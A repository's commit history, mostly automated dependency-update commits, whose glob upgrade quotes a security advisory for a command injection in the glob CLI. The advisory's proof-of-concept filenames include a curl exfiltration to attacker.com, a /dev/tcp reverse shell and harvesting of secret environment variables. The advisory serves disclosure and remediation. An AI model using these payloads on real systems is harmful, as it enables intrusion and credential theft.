Commit Graph

163 Commits

Author SHA1 Message Date
renovate-sh-app[bot]
b7a953b178 chore(deps): update dependency style-loader to v3.3.4 (#2151)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[style-loader](https://redirect.github.com/webpack-contrib/style-loader)
| [`3.3.3` →
`3.3.4`](https://renovatebot.com/diffs/npm/style-loader/3.3.3/3.3.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/style-loader/3.3.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/style-loader/3.3.3/3.3.4?slim=true)
|

---

### Release Notes

<details>
<summary>webpack-contrib/style-loader (style-loader)</summary>

###
[`v3.3.4`](https://redirect.github.com/webpack/style-loader/releases/tag/v3.3.4)

[Compare
Source](https://redirect.github.com/webpack-contrib/style-loader/compare/v3.3.3...v3.3.4)

#####
[3.3.4](https://redirect.github.com/webpack-contrib/style-loader/compare/v3.3.3...v3.3.4)
(2024-01-09)

##### Bug Fixes

- css experiments logic
([c12e70b](c12e70bc85))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zNS4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-24 07:36:56 -08:00
renovate-sh-app[bot]
c02767b1c3 chore(deps): update dependency sass-loader to v13.3.3 (#2146)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [sass-loader](https://redirect.github.com/webpack/sass-loader) |
[`13.3.1` ->
`13.3.3`](https://renovatebot.com/diffs/npm/sass-loader/13.3.1/13.3.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/sass-loader/13.3.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sass-loader/13.3.1/13.3.3?slim=true)
|

---

### Release Notes

<details>
<summary>webpack/sass-loader (sass-loader)</summary>

###
[`v13.3.3`](https://redirect.github.com/webpack/sass-loader/blob/HEAD/CHANGELOG.md#1400-2024-01-15)

[Compare
Source](https://redirect.github.com/webpack/sass-loader/compare/v13.3.2...v13.3.3)

##### ⚠ BREAKING CHANGES

- removed `fibers` support
- minimum supported Node.js version is `18.12.0`
([627f55d](627f55d750))

#####
[13.3.3](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.2...v13.3.3)
(2023-12-25)

##### Bug Fixes

- sass embedded importer detection
([e34f938](e34f938750))
- warning output
([#&#8203;1173](https://redirect.github.com/webpack-contrib/sass-loader/issues/1173))
([0084b93](0084b93a9e))

#####
[13.3.2](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.1...v13.3.2)
(2023-06-09)

##### Bug Fixes

- **perf:** avoid using `klona` for `sass` options
([#&#8203;1145](https://redirect.github.com/webpack-contrib/sass-loader/issues/1145))
([9e87b6b](9e87b6b103))

#####
[13.3.1](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.0...v13.3.1)
(2023-05-28)

##### Bug Fixes

- error handling better
([#&#8203;1141](https://redirect.github.com/webpack-contrib/sass-loader/issues/1141))
([1f99474](1f9947441a))
- warnings and errors serialization
([#&#8203;1142](https://redirect.github.com/webpack-contrib/sass-loader/issues/1142))
([ed6f313](ed6f3136f0))

###
[`v13.3.2`](https://redirect.github.com/webpack/sass-loader/blob/HEAD/CHANGELOG.md#1400-2024-01-15)

[Compare
Source](https://redirect.github.com/webpack/sass-loader/compare/v13.3.1...v13.3.2)

##### ⚠ BREAKING CHANGES

- removed `fibers` support
- minimum supported Node.js version is `18.12.0`
([627f55d](627f55d750))

#####
[13.3.3](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.2...v13.3.3)
(2023-12-25)

##### Bug Fixes

- sass embedded importer detection
([e34f938](e34f938750))
- warning output
([#&#8203;1173](https://redirect.github.com/webpack-contrib/sass-loader/issues/1173))
([0084b93](0084b93a9e))

#####
[13.3.2](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.1...v13.3.2)
(2023-06-09)

##### Bug Fixes

- **perf:** avoid using `klona` for `sass` options
([#&#8203;1145](https://redirect.github.com/webpack-contrib/sass-loader/issues/1145))
([9e87b6b](9e87b6b103))

#####
[13.3.1](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.0...v13.3.1)
(2023-05-28)

##### Bug Fixes

- error handling better
([#&#8203;1141](https://redirect.github.com/webpack-contrib/sass-loader/issues/1141))
([1f99474](1f9947441a))
- warnings and errors serialization
([#&#8203;1142](https://redirect.github.com/webpack-contrib/sass-loader/issues/1142))
([ed6f313](ed6f3136f0))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zNS4xIiwidXBkYXRlZEluVmVyIjoiNDIuMzUuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-19 12:21:29 +01:00
ismail simsek
cc492b916d Update react-table to v8 (#2131)
Updating react-table to v8. 
- Migrating the existing table to v8
- Preserving the visuals and logic

What's done?
- Cell components are moved under `Cells` folder
- Old styles for react-table-6 is removed.
- Old types are removed
- All logic was preserved
- Some cell components are removed for simplicity


Fixes: https://github.com/grafana/oss-big-tent-squad/issues/125
2025-12-10 19:25:04 +01:00
renovate-sh-app[bot]
b11f2b1902 chore(deps): update dependency @types/node to ^20.19.16 (#2105)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`^20.8.7` ->
`^20.19.16`](https://renovatebot.com/diffs/npm/@types%2fnode/20.19.16/20.19.25)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.19.25?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.19.16/20.19.25?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJ1cGRhdGUtcGF0Y2giXX0=-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-28 13:31:04 +01:00
renovate-sh-app[bot]
f858259eaf chore(deps): update dependency @babel/core to ^7.28.4 (#2126)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@babel/core](https://babel.dev/docs/en/next/babel-core)
([source](https://redirect.github.com/babel/babel/tree/HEAD/packages/babel-core))
| [`^7.21.4` ->
`^7.28.4`](https://renovatebot.com/diffs/npm/@babel%2fcore/7.28.4/7.28.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@babel%2fcore/7.28.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@babel%2fcore/7.28.4/7.28.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>babel/babel (@&#8203;babel/core)</summary>

###
[`v7.28.5`](https://redirect.github.com/babel/babel/blob/HEAD/CHANGELOG.md#v7285-2025-10-23)

[Compare
Source](https://redirect.github.com/babel/babel/compare/v7.28.4...v7.28.5)

##### 👓 Spec Compliance

- `babel-parser`
- [#&#8203;17446](https://redirect.github.com/babel/babel/pull/17446)
Allow `Runtime Errors for Function Call Assignment Targets`
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))
- `babel-helper-validator-identifier`
- [#&#8203;17501](https://redirect.github.com/babel/babel/pull/17501)
fix: update identifier to unicode 17
([@&#8203;fisker](https://redirect.github.com/fisker))

##### 🐛 Bug Fix

- `babel-plugin-proposal-destructuring-private`
- [#&#8203;17534](https://redirect.github.com/babel/babel/pull/17534)
Allow mixing private destructuring and rest
([@&#8203;CO0Ki3](https://redirect.github.com/CO0Ki3))
- `babel-parser`
- [#&#8203;17521](https://redirect.github.com/babel/babel/pull/17521)
Improve `@babel/parser` error typing
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- [#&#8203;17491](https://redirect.github.com/babel/babel/pull/17491)
fix: improve ts-only declaration parsing
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- `babel-plugin-proposal-discard-binding`,
`babel-plugin-transform-destructuring`
- [#&#8203;17519](https://redirect.github.com/babel/babel/pull/17519)
fix: `rest` correctly returns plain array
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))
- `babel-helper-create-class-features-plugin`,
`babel-helper-member-expression-to-functions`,
`babel-plugin-transform-block-scoping`,
`babel-plugin-transform-optional-chaining`, `babel-traverse`,
`babel-types`
- [#&#8203;17503](https://redirect.github.com/babel/babel/pull/17503)
Fix `JSXIdentifier` handling in `isReferencedIdentifier`
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- `babel-traverse`
- [#&#8203;17504](https://redirect.github.com/babel/babel/pull/17504)
fix: ensure scope.push register in anonymous fn
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))

##### 🏠 Internal

- `babel-types`
- [#&#8203;17494](https://redirect.github.com/babel/babel/pull/17494)
Type checking babel-types scripts
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))

##### :running\_woman: Performance

- `babel-core`
- [#&#8203;17490](https://redirect.github.com/babel/babel/pull/17490)
Faster finding of locations in `buildCodeFrameError`
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4xMi4xIiwidXBkYXRlZEluVmVyIjoiNDIuMTIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-28 13:29:20 +01:00
renovate-sh-app[bot]
46a0157d70 fix(deps): pin dependencies (#2104)
This PR contains the following updates:

| Package | Type | Update | Change | Age | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| devDependencies | pin | [`^18.2.25` ->
`18.3.24`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.24/18.3.24)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.24?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.24/18.3.24?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [react](https://react.dev/)
([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react))
| dependencies | minor | [`18.2.0` ->
`18.3.1`](https://renovatebot.com/diffs/npm/react/18.2.0/18.3.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/react/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react/18.2.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [react-dom](https://react.dev/)
([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react-dom))
| dependencies | minor | [`18.2.0` ->
`18.3.1`](https://renovatebot.com/diffs/npm/react-dom/18.2.0/18.3.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/react-dom/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-dom/18.2.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

Add the preset `:preserveSemverRanges` to your config if you don't want
to pin your dependencies.

---

### Release Notes

<details>
<summary>facebook/react (react)</summary>

###
[`v18.3.1`](https://redirect.github.com/facebook/react/blob/HEAD/CHANGELOG.md#1831-April-26-2024)

[Compare
Source](https://redirect.github.com/facebook/react/compare/v18.3.0...v18.3.1)

- Export `act` from `react`
[f1338f](f1338f8080)

###
[`v18.3.0`](https://redirect.github.com/facebook/react/blob/HEAD/CHANGELOG.md#1830-April-25-2024)

[Compare
Source](https://redirect.github.com/facebook/react/compare/v18.2.0...v18.3.0)

This release is identical to 18.2 but adds warnings for deprecated APIs
and other changes that are needed for React 19.

Read the [React 19 Upgrade
Guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide) for
more info.

##### React

- Allow writing to `this.refs` to support string ref codemod
[909071](9090712fd3)
- Warn for deprecated `findDOMNode` outside StrictMode
[c3b283](c3b2839641)
- Warn for deprecated `test-utils` methods
[d4ea75](d4ea75dc42)
- Warn for deprecated Legacy Context outside StrictMode
[415ee0](415ee0e6ea)
- Warn for deprecated string refs outside StrictMode
[#&#8203;25383](https://redirect.github.com/facebook/react/pull/25383)
- Warn for deprecated `defaultProps` for function components
[#&#8203;25699](https://redirect.github.com/facebook/react/pull/25699)
- Warn when spreading `key`
[#&#8203;25697](https://redirect.github.com/facebook/react/pull/25697)
- Warn when using `act` from `test-utils`
[d4ea75](d4ea75dc42)

##### React DOM

- Warn for deprecated `unmountComponentAtNode`
[8a015b](8a015b68cc)
- Warn for deprecated `renderToStaticNodeStream`
[#&#8203;28874](https://redirect.github.com/facebook/react/pull/28874)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJ1cGRhdGUtbWlub3IiXX0=-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-27 14:32:48 +01:00
renovate-sh-app[bot]
5790b9a68d chore(deps): update dependency glob to v11 [security] (#2122)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.4.5/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### glob CLI: Command injection via -c/--cmd executes matches with
shell:true
[CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) /
[GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2)

<details>
<summary>More information</summary>

#### Details
##### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

##### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

##### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

##### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

##### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

##### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756)
-
[47473c046b)
-
[https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

###
[`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

###
[`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

###
[`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0)

###
[`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

